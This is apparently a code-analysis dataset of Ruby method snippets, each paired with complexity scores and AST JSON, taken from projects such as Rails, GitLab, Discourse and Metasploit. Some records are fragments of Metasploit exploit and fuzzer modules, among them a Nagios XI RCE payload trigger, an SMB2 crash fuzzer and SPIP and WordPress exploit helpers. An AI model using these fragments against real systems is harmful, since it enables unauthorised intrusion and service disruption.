{"repo_name":"forem","file_path":"./repos/forem/app/helpers/comments_helper.rb","start_line":21,"raw_source":"def podcast_comment_tree(episode)\n    Comments::Tree.for_commentable(episode, include_negative: user_signed_in?, limit: 12)\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"podcast_comment_tree\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"episode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comments\"]},\"Tree\"]},\"for_commentable\",{\"type\":\"lvar\",\"children\":[\"episode\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_negative\"]},{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[12]}]}]}]}]}","id":"b13e5c05-f990-4996-a1d6-b5842b4a4774"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.rb","start_line":188,"raw_source":"def execute_payload\n    print_status('Executing plugin...')\n    send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'profile', 'profile.php'),\n      'method' => 'GET',\n      'cookie' => @auth_cookies,\n      'vars_get' => { 'cmd' => 'download' }\n    }, 0)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing plugin...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"includes\"]},{\"type\":\"str\",\"children\":[\"components\"]},{\"type\":\"str\",\"children\":[\"profile\"]},{\"type\":\"str\",\"children\":[\"profile.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@auth_cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"str\",\"children\":[\"download\"]}]}]}]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"9469dd38-3557-47e3-9e59-360c94537ba7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SMB Negotiate SMB2 Dialect Corruption',\n        'Description' => %q{\n          This module sends a series of SMB negotiate requests that advertise a\n          SMB2 dialect with corrupted bytes.\n        },\n        'Author' => [ 'hdm' ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options([\n      Opt::RPORT(445),\n      OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])\n    ])\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SMB Negotiate SMB2 Dialect Corruption\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module sends a series of SMB negotiate requests that advertise a\\n\"]},{\"type\":\"str\",\"children\":[\"          SMB2 dialect with corrupted bytes.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[445]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAXDEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Specify a maximum byte depth to test\"]}]}]}]}]}]}]}","id":"8cda4a46-9a30-4ae6-9aa1-c25595e4ec15"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/show_exceptions_test.rb","start_line":187,"raw_source":"def build_app(exceptions_app = nil)\n      exceptions_app ||= ActionDispatch::PublicExceptions.new(\"#{FIXTURE_LOAD_PATH}/public\")\n      Rack::Lint.new(ActionDispatch::ShowExceptions.new(Rack::Lint.new(Boomer.new), exceptions_app))\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_app\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"exceptions_app\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exceptions_app\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"PublicExceptions\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIXTURE_LOAD_PATH\"]}]},{\"type\":\"str\",\"children\":[\"/public\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"ShowExceptions\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Boomer\"]},\"new\"]}]},{\"type\":\"lvar\",\"children\":[\"exceptions_app\"]}]}]}]}]}","id":"1d54c0b5-842e-49bf-ae11-0aaf97407cc1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/job_analytics/query_builder.rb","start_line":44,"raw_source":"def build_finder\n        finder = ::ClickHouse::Finders::Ci::FinishedBuildsFinder.new\n                                                                .for_project(project.id)\n                                                                .select(*select_fields)\n                                                                .select_aggregations(*aggregations)\n\n        finder = finder.order_by(*extract_sort_info(sort)) if sort\n\n        finder = finder.filter_by_job_name(name_search) if name_search\n\n        finder.filter_by_pipeline_attrs(project: project,\n          from_time: from_time,\n          to_time: to_time,\n          source: source,\n          ref: ref\n        )\n      end","complexity_score":31.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_finder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"finder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ClickHouse\"]},\"Finders\"]},\"Ci\"]},\"FinishedBuildsFinder\"]},\"new\"]},\"for_project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},\"select\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_fields\"]}]}]},\"select_aggregations\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aggregations\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort\"]},{\"type\":\"lvasgn\",\"children\":[\"finder\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder\"]},\"order_by\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_sort_info\",{\"type\":\"send\",\"children\":[null,\"sort\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name_search\"]},{\"type\":\"lvasgn\",\"children\":[\"finder\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder\"]},\"filter_by_job_name\",{\"type\":\"send\",\"children\":[null,\"name_search\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder\"]},\"filter_by_pipeline_attrs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_time\"]},{\"type\":\"send\",\"children\":[null,\"from_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_time\"]},{\"type\":\"send\",\"children\":[null,\"to_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"ref\"]}]}]}]}]}]}","id":"86f16619-51ae-4b53-9adc-c18780397315"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/validate/abilities.rb","start_line":51,"raw_source":"def allowed_to_create_pipeline?\n              can?(current_user, :create_pipeline, project)\n            end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_to_create_pipeline?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_pipeline\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"28529404-39ff-4078-b212-ad8e951f8c1c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/loader/base.rb","start_line":250,"raw_source":"def load_modules(path, options={})\n    options.assert_valid_keys(:force, :recalculate)\n\n    force = options[:force]\n    count_by_type = {}\n    recalculate_by_type = {}\n\n    each_module_reference_name(path, options) do |parent_path, type, module_reference_name|\n      load_module(\n          parent_path,\n          type,\n          module_reference_name,\n          :recalculate_by_type => recalculate_by_type,\n          :count_by_type => count_by_type,\n          :force => force\n      )\n    end\n    if options[:recalculate]\n      recalculate_by_type.each do |type, recalculate|\n        if recalculate\n          module_set = module_manager.module_set(type)\n          module_set.recalculate\n        end\n      end\n    end\n\n    count_by_type\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"load_modules\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"assert_valid_keys\",{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"sym\",\"children\":[\"recalculate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"force\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"count_by_type\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"recalculate_by_type\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_module_reference_name\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_path\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"module_reference_name\"]}]},{\"type\":\"send\",\"children\":[null,\"load_module\",{\"type\":\"lvar\",\"children\":[\"parent_path\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"module_reference_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recalculate_by_type\"]},{\"type\":\"lvar\",\"children\":[\"recalculate_by_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count_by_type\"]},{\"type\":\"lvar\",\"children\":[\"count_by_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recalculate\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recalculate_by_type\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"recalculate\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recalculate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"module_set\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_manager\"]},\"module_set\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_set\"]},\"recalculate\"]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"count_by_type\"]}]}]}","id":"c932ab7e-956b-4b03-a22e-45255a62d9de"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service.rb","start_line":9,"raw_source":"def vuln_attempts(opts)\n    path = get_path_select(opts, VULN_ATTEMPT_API_PATH)\n    json_to_mdm_object(self.get_data(path, nil, opts), VULN_ATTEMPT_MDM_CLASS)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"vuln_attempts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"get_path_select\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"const\",\"children\":[null,\"VULN_ATTEMPT_API_PATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_data\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"const\",\"children\":[null,\"VULN_ATTEMPT_MDM_CLASS\"]}]}]}]}","id":"c3d89fa4-8aed-4c52-bdab-2357977657d2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/reporter.rb","start_line":51,"raw_source":"def start\n      delegate_to_formatters(:start, RSpec::Core::Notifications::StartNotification.new)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"delegate_to_formatters\",{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"Notifications\"]},\"StartNotification\"]},\"new\"]}]}]}","id":"8d0d3c54-e164-41fc-adf5-c4632ff66792"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/seeds/zones.rb","start_line":26,"raw_source":"def create_zone_members(zone, country_codes)\n        countries_ids = Spree::Country.where(iso: country_codes).ids\n        zone_members = countries_ids.map do |country_id|\n          {\n            zoneable_id: country_id,\n            zoneable_type: 'Spree::Country',\n            zone_id: zone.id,\n            created_at: Time.current,\n            updated_at: Time.current\n          }\n        end\n        Spree::ZoneMember.insert_all(zone_members)\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_zone_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zone\"]},{\"type\":\"arg\",\"children\":[\"country_codes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"countries_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Country\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iso\"]},{\"type\":\"lvar\",\"children\":[\"country_codes\"]}]}]}]},\"ids\"]}]},{\"type\":\"lvasgn\",\"children\":[\"zone_members\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"countries_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"country_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zoneable_id\"]},{\"type\":\"lvar\",\"children\":[\"country_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zoneable_type\"]},{\"type\":\"str\",\"children\":[\"Spree::Country\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"ZoneMember\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"zone_members\"]}]}]}]}","id":"0b2b720c-b93e-4922-bd27-1200f7ce8aa5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_foxypress_upload.rb","start_line":50,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')\n    )\n\n    return Exploit::CheckCode::Detected if res && res.code == 200\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":9.33,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"wordpress_url_plugins\"]},{\"type\":\"str\",\"children\":[\"foxypress\"]},{\"type\":\"str\",\"children\":[\"uploadify\"]},{\"type\":\"str\",\"children\":[\"uploadify.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"eb0cf06b-c907-48ca-aa9b-c3885bb45acd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/reference_parser/issue_parser.rb","start_line":8,"raw_source":"def nodes_visible_to_user(user, nodes)\n        issues_by_node = records_for_nodes(nodes)\n\n        readable_issues = Ability.issues_readable_by_user(issues_by_node.values, user).to_set\n\n        nodes.select do |node|\n          readable_issues.include?(issues_by_node[node])\n        end\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"nodes_visible_to_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issues_by_node\",{\"type\":\"send\",\"children\":[null,\"records_for_nodes\",{\"type\":\"lvar\",\"children\":[\"nodes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"readable_issues\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"issues_readable_by_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues_by_node\"]},\"values\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"readable_issues\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues_by_node\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}]}","id":"f80b419c-4b36-43f7-bf43-4fe71594d59b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/user_action_filter.rb","start_line":44,"raw_source":"def where\n    operator = if operator_class <= ::Queries::Operators::Equals || operator_class <= ::Queries::Operators::EqualsAll\n                 \"IN\"\n               elsif operator_class <= ::Queries::Operators::NotEquals\n                 \"NOT IN\"\n               else\n                 raise ArgumentError\n               end\n\n    capability_select_queries\n      .map { |query| \"#{Project.table_name}.id #{operator} (#{query.to_sql})\" }\n      .join(\" AND \")\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"operator\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_class\"]},\"<=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"Equals\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_class\"]},\"<=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"EqualsAll\"]}]}]},{\"type\":\"str\",\"children\":[\"IN\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_class\"]},\"<=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"NotEquals\"]}]},{\"type\":\"str\",\"children\":[\"NOT IN\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capability_select_queries\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operator\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" AND \"]}]}]}]}","id":"bfc03efd-c3d3-49bb-8aa7-ffa29e41e4fe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/spip_bigup_unauth_rce.rb","start_line":122,"raw_source":"def get_form_data\n    pages = %w[login spip_pass contact]\n\n    if datastore['FORM_PAGE']&.downcase != 'auto'\n      pages = [datastore['FORM_PAGE']]\n    end\n\n    pages.each do |page|\n      url = normalize_uri(target_uri.path, page.start_with?('/') ? page : \"spip.php?page=#{page}\")\n      res = send_request_cgi('method' => 'GET', 'uri' => url)\n\n      next unless res&.code == 200\n\n      doc = res.get_html_document\n      action = doc.at_xpath(\"//input[@name='formulaire_action']/@value\")&.text\n      args = doc.at_xpath(\"//input[@name='formulaire_action_args']/@value\")&.text\n\n      next unless action && args\n\n      print_status(\"Found formulaire_action: #{action}\")\n      print_status(\"Found formulaire_action_args: #{args[0..20]}...\")\n      return { action: action, args: args }\n    end\n\n    nil\n  end","complexity_score":44.05,"ast_json":"{\"type\":\"def\",\"children\":[\"get_form_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pages\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"str\",\"children\":[\"spip_pass\"]},{\"type\":\"str\",\"children\":[\"contact\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FORM_PAGE\"]}]},\"downcase\"]},\"!=\",{\"type\":\"str\",\"children\":[\"auto\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pages\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FORM_PAGE\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pages\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[